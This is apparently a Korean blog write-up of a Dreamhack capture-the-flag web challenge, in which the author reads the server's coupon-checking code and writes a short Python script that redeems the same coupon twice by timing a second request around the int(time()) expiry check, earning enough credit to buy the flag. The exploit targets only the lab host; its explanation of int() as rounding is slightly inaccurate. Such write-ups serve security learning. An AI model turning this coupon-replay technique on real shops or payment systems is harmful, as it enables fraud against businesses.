먼저 문제설명에 위와 같이 되어있는 것을 볼 수 있다.
문제 설명에서도 볼 수 있듯이 '쿠폰을 검사하는 로직이 취약' 하다는 부분을 통해 쿠폰 검사 로직이 취약하니 그 부분을 공략하여 문제를 풀어볼 수 있을 것 같다
우선 문제 페이지에 접속하면 위와 같은 화면을 볼 수 있다.
Acquire Session 버튼을 누르니 위 페이지로 전환이 되었고 해당 페이지에서 shop과 마이페이지를 볼 수 있었다
먼저 Shop 버튼을 클릭하여 확인해보니 빼빼로와 플래그를 구매할 수 있는 화면이 나왔고 각각의 가격 또한 표시되어 있었다
우선 어떻게 구매가 이루어지는지 확인해보기 위해 플래그 구매 버튼을 눌렀는데 위 창과 같이 돈이 없어 구매가 안되는 것을 확인할 수 있다.
다음으로 마이페이지로 돌아가니 쿠폰을 발급받고 발급받은 쿠폰 번호를 입력할 수 있는 칸을 볼 수 있다.
먼저 Claim 버튼을 눌러 쿠폰 번호를 발급받았더니 위와 같은 화면을 볼 수 있다
발급된 쿠폰 번호를 입력하고 제출하니
1000원이 충전되는 것을 볼 수 있다 하지만 이 금액으로는 어떠한 것도 사지 못한다
다시 쿠폰을 발급받기 위해 버튼을 눌러보았는데 위와 같은 창을 볼 수 있었다 한번 쿠폰을 발급받은 이후로는 추가로 발급이 불가능한 것 같다.
문제에서 쿠폰을 검사하는 로직이 취약하다고 하였으니 해당 로직을 확인하기 위해 아래 코드를 확인해보았다.
코드를 확인해보면 /session에 접근 시 setex로 랜덤 uuid값을 생성 해 세션 id로 설정하고 있다. 만료시간은 10분이고, 직렬화하여 저장하고 있다.
저장되는 값을 보면. uuid, coupon_claimed: False, money값이다. get_session을 확인해보자.
요청 헤더에 Authorization이라는 헤더에서 값을 가져와 uuid값으로 설정 후 radis에 저장한 uuid와 비교하고 있다.
위 코드에서 쿠폰 발행 및 돈을 벌 수 있는 방식에 대해 설명되어 있다. 쿠폰을 통해 돈을 벌 수 있기 때문에 쿠폰 검사 로직의 취약한 부분을 활용하여 익스플로잇 코드를 작성해줄 수 있다
코드 중에서 time() 함수를 확인할 수 있는데 해당 함수는 int로 감싸져 있다. time() 함수의 경우 소수점까지 반환해주지만 int로 감싸기 때문에 반올림하여 값이 나오게 된다. 즉 45.2초도 45로 인식되게 된다. 따라서, 45 ~ 45.5 사이에 요청을 한 번 더 보낸다면 만료시간이 넘지 않은걸로 되어 if문은 우회하나 r.setnx(used_coupon, 1)은 초기화되어 쿠폰 재사용이 가능하다.
import requests
import json
from time import sleep
url = 'http://host3.dreamhack.games:14225/'
def get_auth_token(url):
result = requests.get(url + 'session')
return result.text
def exploit(url, auth_token):
header = { 'Authorization': auth_token }
coupon = json.loads(requests.get(url + 'coupon/claim',headers=header).text)['coupon']
print(coupon)
header['coupon'] = coupon
result = requests.get(url + 'coupon/submit', headers=header)
print(result.text)
sleep(45)
result = requests.get(url + 'coupon/submit', headers=header)
print(result.text)
header = {'Authorization': auth_token}
result = requests.get(url + 'flag/claim', headers=header)
print(result.text)
if __name__ == "__main__":
auth_token = json.loads(get_auth_token(url))['session']
print(auth_token)
exploit(url, auth_token)
따라서 위와 같이 익스플로잇 코드를 작성하고 실행하면
플래그 값을 얻을 수 있었다!
문제 해결!!
'Security > Web hacking' 카테고리의 다른 글
[Dreamhack] Mango (0) | 2024.11.27 |
---|---|
[Dreamhack] CSS Injection (0) | 2024.11.20 |
[Dreamhack] CSP Bypass Advanced wirte-up (3) | 2024.11.06 |
[Dreamhack] XSS Filtering Bypass Advanced wirte-up (1) | 2024.10.30 |
[Dreamhack] blind-command write-up (0) | 2024.10.02 |